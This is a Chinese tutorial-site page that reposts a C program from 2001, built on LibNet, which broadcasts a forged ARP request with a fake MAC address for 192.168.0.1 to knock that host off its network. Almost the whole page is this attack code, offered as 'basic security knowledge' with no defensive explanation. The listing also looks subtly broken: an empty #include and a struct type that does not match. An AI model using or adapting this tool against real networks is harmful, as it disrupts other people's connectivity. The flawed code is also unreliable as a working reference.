明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

動態(tài)ARP可導(dǎo)致整個TCP/IP網(wǎng)絡(luò)中斷

[摘要]程序名:Arp_break_net.c  用途 :演示通過ARP數(shù)據(jù)包使網(wǎng)絡(luò)中的某主機無法連接網(wǎng)絡(luò)  演示中192.168.0.1 將無法連接進入網(wǎng)絡(luò)  編寫 :cloud  時間 :2001-2-...

程序名:Arp_break_net.c

  用途 :演示通過ARP數(shù)據(jù)包使網(wǎng)絡(luò)中的某主機無法連接網(wǎng)絡(luò)

  演示中192.168.0.1 將無法連接進入網(wǎng)絡(luò)

  編寫 :cloud

  時間 :2001-2-11

  其他 :程序依賴LibNet

  */

  #include

  u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (偽造的一個不存在MAC地址)

  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

  //目標(biāo)MAC地址(廣播地址)

  u_char ip_src[4] = {192,168,0,1};

  //源IP地址 (被踢出網(wǎng)絡(luò)的IP地址)

  u_char ip_dst[4] = {192,168,0,255};

  //目標(biāo)IP地址 (隨便一個IP地址)

  int main(int argc, char *argv[])

  {

  int c;

  char errbuf[256];

  char *device = "eth0"; //數(shù)據(jù)包從第一個網(wǎng)卡發(fā)送出去

  struct libnet_link_int *l;

  l = libnet_open_link_interface(device, errbuf); //打開設(shè)備

  if (!l)

  {

  fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);

  exit(EXIT_FAILURE);

  }

  c = send_arp(l, device); //發(fā)送ARP數(shù)據(jù)包

  return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);

  }

  int send_arp(struct link_int *l, u_char *device)

  {

  int n;

  u_char *buf;

  if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)

  {

  perror("libnet_init_packet memory:");

  exit(EXIT_FAILURE);

  }

  /*

  * 構(gòu)造以太數(shù)據(jù)包頭部信息

  */

  libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

  /*

  * 構(gòu)造ARP數(shù)據(jù)包頭部信息

  */

  libnet_build_arp(ARPHRD_ETHER,

  ETHERTYPE_IP,

  6,

  4,

  ARPOP_REQUEST,

  enet_src,

  ip_src,

  enet_dst,

  ip_dst,

  NULL,

  0,

  buf + ETH_H);

  n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //發(fā)送數(shù)據(jù)包

  printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);

  libnet_destroy_packet(&buf);

  return (n);

  }


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。